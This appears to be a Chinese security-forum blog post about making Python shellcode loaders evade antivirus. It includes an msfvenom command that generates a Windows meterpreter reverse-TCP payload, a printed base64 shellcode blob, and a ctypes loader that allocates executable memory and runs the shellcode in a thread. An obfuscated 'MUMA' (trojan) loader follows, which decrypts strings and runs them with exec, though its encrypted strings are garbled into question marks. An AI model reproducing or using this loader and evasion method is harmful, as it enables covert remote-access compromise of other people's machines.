python入门简单,所以平常很多脚本都基于python开发,于是便有了尝试python免杀尝试。
起因
由于学校被封了,老是呆在学校很闲,于是前阵子写了个加密加密小工具,Eternal Love
很可爱好吧,就说这加密有没有艺术细胞吧,于是,问题来了,这玩意儿不会中看不中用吧........
很好,当你提出这个疑问说明你已经是卷王了,作为当代大好青年,除了每天挖挖漏洞,水水群,休闲时刻写了个撩妹辅助软件还得有实质作用?
简单说说这个加密吧,其实很简单,就是将输入的字符转ascii,再转八进制,然后准备一份'我喜欢你'的字符串,进行ascii转成数字,去重,将上面的八进制数据,根据上面的对应的数字获取索引值,将索引值保存到列表里,再进行三次与时间戳和cpu的异或,再将获取的数据与时间戳进行简单的运算,最终得到了一串数字,将这些数字与对于的符号进行替换,得到上面那种花里胡哨的玩意儿,听懂了吗?
抱歉,我的表述不太好,画个图简单的看看吧,咋们主要看的是思路.....
解密的话就是反过来写一遍,逻辑还是比较简单的,根据如果想强行解密的话还是有点难度的吧....
写完工具后,感觉很无趣啊,我又没有女朋友,要你有何用?于是加密shellcode和相关的函数想法就应运而生,
我将解密的方法封装成了一个类,供程序解密的时候调用
部分代码如上,提供一下思路,代码什么的就自己写了,也不是很难,还可以加上自己喜欢的东西上去。
前面介绍了加密的方式,那么接下来就是进行免杀小实验了。
由于免杀什么的都是最近开始研究,所以没有从底层入手,shellcode入手免杀是最好的方法,但是发现网上公开的加载的shellcode的代码好像都失效了,而且感觉分离加载shllcode有些麻烦.....被骂,尽管我也用...
虽然菜,但是我有一颗积极向上的心,我们用msf生成base64加密的c的shellcode:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.80.132 lport=6666 --encrypt base64 -f c
将生成的c代码去双引号,去换行,进行放加密函数里加密
这里看看没加密前的python的shellcode加密器代码:
import base64
s = '''\x2f\x4f\x69\x50\x41\x41\x41\x41\x59\x49\x6e\x6c\x4d\x64\x4a
\x6b\x69\x31\x49\x77\x69\x31\x49\x4d\x69\x31\x49\x55\x4d\x66
\x2b\x4c\x63\x69\x67\x50\x74\x30\x6f\x6d\x4d\x63\x43\x73\x50
\x47\x46\x38\x41\x69\x77\x67\x77\x63\x38\x4e\x41\x63\x64\x4a
\x64\x65\x39\x53\x56\x34\x74\x53\x45\x49\x74\x43\x50\x41\x48
\x51\x69\x30\x42\x34\x68\x63\x42\x30\x54\x41\x48\x51\x69\x31
\x67\x67\x41\x64\x4e\x51\x69\x30\x67\x59\x68\x63\x6c\x30\x50
\x44\x48\x2f\x53\x59\x73\x30\x69\x77\x48\x57\x4d\x63\x43\x73
\x77\x63\x38\x4e\x41\x63\x63\x34\x34\x48\x58\x30\x41\x33\x33
\x34\x4f\x33\x30\x6b\x64\x65\x42\x59\x69\x31\x67\x6b\x41\x64
\x4e\x6d\x69\x77\x78\x4c\x69\x31\x67\x63\x41\x64\x4f\x4c\x42
\x49\x73\x42\x30\x49\x6c\x45\x4a\x43\x52\x62\x57\x32\x46\x5a
\x57\x6c\x48\x2f\x34\x46\x68\x66\x57\x6f\x73\x53\x36\x59\x44
\x2f\x2f\x2f\x39\x64\x61\x44\x4d\x79\x41\x41\x42\x6f\x64\x33
\x4d\x79\x58\x31\x52\x6f\x54\x48\x63\x6d\x42\x34\x6e\x6f\x2f
\x39\x43\x34\x6b\x41\x45\x41\x41\x43\x6e\x45\x56\x46\x42\x6f
\x4b\x59\x42\x72\x41\x50\x2f\x56\x61\x67\x70\x6f\x77\x4b\x67
\x42\x67\x32\x67\x43\x41\x42\x6f\x4b\x69\x65\x5a\x51\x55\x46
\x42\x51\x51\x46\x42\x41\x55\x47\x6a\x71\x44\x39\x2f\x67\x2f
\x39\x57\x58\x61\x68\x42\x57\x56\x32\x69\x5a\x70\x58\x52\x68
\x2f\x39\x57\x46\x77\x48\x51\x4b\x2f\x30\x34\x49\x64\x65\x7a
\x6f\x5a\x77\x41\x41\x41\x47\x6f\x41\x61\x67\x52\x57\x56\x32
\x67\x43\x32\x63\x68\x66\x2f\x39\x57\x44\x2b\x41\x42\x2b\x4e
\x6f\x73\x32\x61\x6b\x42\x6f\x41\x42\x41\x41\x41\x46\x5a\x71
\x41\x47\x68\x59\x70\x46\x50\x6c\x2f\x39\x57\x54\x55\x32\x6f
\x41\x56\x6c\x4e\x58\x61\x41\x4c\x5a\x79\x46\x2f\x2f\x31\x59
\x50\x34\x41\x48\x30\x6f\x57\x47\x67\x41\x51\x41\x41\x41\x61
\x67\x42\x51\x61\x41\x73\x76\x44\x7a\x44\x2f\x31\x56\x64\x6f
\x64\x57\x35\x4e\x59\x66\x2f\x56\x58\x6c\x37\x2f\x44\x43\x51
\x50\x68\x58\x44\x2f\x2f\x2f\x2f\x70\x6d\x2f\x2f\x2f\x2f\x77
\x48\x44\x4b\x63\x5a\x31\x77\x63\x4f\x37\x38\x4c\x57\x69\x56
\x6d\x6f\x41\x55\x2f\x2f\x56
'''
shellcode = base64.b64decode(s)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
这里生成后肯定被杀的,那么我们在将其中部分敏感函数进行加密:
import ctypes
import base64
import em
class MUMA():
def zx(self):
log = '''
\_ \_ \_ \_ \_ \_ \_ (\_) | | | | | | | | (\_)
\_\_ \_\_\_| |\_| |\_\_ \_\_\_ \_ \_\_ \_\_\_ \_\_| | | |\_ \_ \_| |\_ \_ \_\_
\\ \\ /\\ / / | \_\_| '\_ \\ / \_ \\ '\_\_/ \_ \\/ \_\` | | \_\_| | | | | | '\_ \\
\\ V V /| | |\_| | | | \_\_/ | | \_\_/ (\_| | | |\_| |\_| | | | |\_) |
\\\_/\\\_/ |\_|\\\_\_|\_| |\_|\\\_\_\_|\_| \\\_\_\_|\\\_\_,\_| \\\_\_|\\\_\_,\_|\_|\_| .\_\_/ | |
|\_|
百度说:
和郁金香待在一起约1-2个小时最有变化感觉到头晕目眩,
严重可导致植物中毒,过多的接触郁金香会使人的毛发逐渐脱落。所以说郁金香是有毒的对吧?
'''print(log)
sc = '?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????'
cpuzy = '352'
cpuzy = int(cpuzy)
sjc = '1652436404'
sjc = int(sjc)
sl = em.EZH
emdgs = sl.hysy(sc\=sc, cpuzy\=cpuzy, sjc\=sjc, self\='')
ba = base64.b64decode(emdgs)
shellcode = ba
wm1 = '??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????'
cpu\_x = int(3462)
sjc\_x = int(1652439982)
mm \= sl.hysy(sc\=wm1, cpuzy\=cpu\_x, sjc\=sjc\_x, self\='')
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
app = '?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????'
cpu\_l = int('9735')
sjc\_l = int('1652439328')
zx = sl.hysy(sc\=app, cpuzy\=cpu\_l, sjc\=sjc\_l, self\='')
exec(zx)
mw = '?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????'
cpu\_ll = int(28248)
sjc\_ll = int(1652439853)
mmmm = sl.hysy(sc\=mw, cpuzy\=cpu\_ll, sjc\=sjc\_ll, self\='')
handle \= ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
exec(mmmm)
def zxcx(self):
app = MUMA()
app.zx()
if \_\_name\_\_ == '\_\_main\_\_':
MUMA.zxcx(self\='')
上面那些爱心不知道为什么变成?????了,可能是编码原因,
上面那个em是我封装的解密代码
尝试是否可以上线:
ok,没有问题,我们用pyinstaller打包,放vt测试一下免杀性
个人感觉用python写的,pyinstaller打包免杀性应该还是可以的....
各位师傅别骂,这个就单纯谈谈个人的思路。
- 本文作者: suansuan
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/1580
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!